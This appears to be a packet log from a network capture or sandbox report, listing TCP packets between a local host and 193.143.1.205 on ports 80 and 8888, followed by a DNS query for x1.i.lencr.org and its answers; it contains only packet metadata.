Jan 10, 2025 23:15:33.169734955 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169745922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169776917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169785023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169800043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170295954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170341015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170341969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170355082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170530081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170541048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170552015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170552969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170567036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170593023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170600891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170600891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170667887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170680046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170691013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170702934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.170716047 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.170716047 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.171252012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.171263933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.171303988 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174161911 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174504042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174515963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174527884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174582958 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174582958 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174583912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174595118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174607038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174650908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174830914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174875021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174887896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174904108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174947977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.174978971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.174993038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175003052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175015926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175031900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.175045013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175103903 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.175118923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175132990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175175905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.175205946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175218105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175230026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.175256014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.175268888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.175379992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.196537971 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.196764946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.196789980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.196800947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.196811914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.196851969 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201142073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201178074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201230049 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201236963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201272011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201307058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201311111 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201343060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201386929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201399088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201452017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201489925 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201509953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201653004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201687098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201694012 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201720953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201752901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201760054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.201787949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.201836109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.214936018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.223512888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223571062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223620892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223640919 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.223655939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223690987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223705053 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.223728895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.223773956 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.228521109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231298923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231353045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231395960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231405973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231441021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231488943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231488943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231539965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231574059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231576920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231606960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231657028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231659889 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231724977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231754065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231764078 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231790066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231841087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231848955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231882095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231916904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231921911 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.231950045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231986046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.231992006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.238838911 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.257977009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.257992983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258006096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258038044 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258085012 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258229017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258240938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258251905 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258265018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258276939 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258285046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258291006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258306026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258320093 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258346081 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258374929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258387089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258399010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258418083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258435011 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258459091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258500099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258531094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258584976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258598089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258608103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258618116 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258620024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258650064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258744001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258755922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258766890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258784056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258879900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258898973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258909941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258922100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258927107 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258934021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258945942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258949995 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258958101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.258977890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.258991003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259111881 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259160995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259172916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259196997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259232044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259274960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259293079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259305000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259344101 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259377003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259387970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259428978 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259516954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259531975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259543896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259567022 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259608984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259620905 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259630919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259644032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259649038 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259680986 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259761095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259773016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259823084 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259915113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259958982 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.259982109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.259994030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260024071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260143042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260154963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260168076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260179043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260191917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260200024 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260216951 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260291100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260303020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260314941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260327101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260330915 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260339022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260353088 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260373116 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260529041 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260540009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260550022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260562897 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260571957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.260574102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.260596991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266297102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266316891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266330957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266339064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266341925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266355991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266366005 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266398907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266402960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266411066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266423941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266452074 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266784906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266820908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266822100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266844988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266889095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.266932011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266952991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266974926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.266988993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.267060041 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267080069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267095089 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.267101049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267134905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.267189980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267210007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267230034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267242908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.267250061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267290115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.267298937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.267807007 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292208910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292283058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292292118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292296886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292320013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292327881 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292330980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292360067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292393923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292407036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292417049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292433977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292565107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292577028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292587996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292603016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292629957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292635918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292646885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292659044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292673111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292676926 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.292685986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.292702913 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322494984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322549105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322578907 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322586060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322619915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322628975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322654963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322696924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322710037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322763920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322798014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322802067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322844982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322877884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322887897 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322913885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322947025 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.322956085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.322982073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.323014975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.323016882 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.348896980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.348926067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.348937988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.348963976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.348984957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.348992109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349006891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349050045 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.349064112 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349077940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349088907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349121094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.349205017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349246025 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.349253893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349266052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349314928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.349386930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349420071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349455118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.349466085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.356412888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.525962114 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.921782970 CET	49729	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.926742077 CET	8888	49729	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.926873922 CET	49729	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.927045107 CET	49729	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.931890011 CET	8888	49729	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:34.756643057 CET	8888	49729	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:34.809097052 CET	49729	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:36.144058943 CET	49729	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:15:42.066976070 CET	63554	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:15:42.066976070 CET	192.168.2.6	1.1.1.1	0xa8b9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:15:42.074278116 CET	1.1.1.1	192.168.2.6	0xa8b9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:15:42.829914093 CET	1.1.1.1	192.168.2.6	0x4c53	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:15:42.829914093 CET	1.1.1.1	192.168.2.6	0x4c53	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
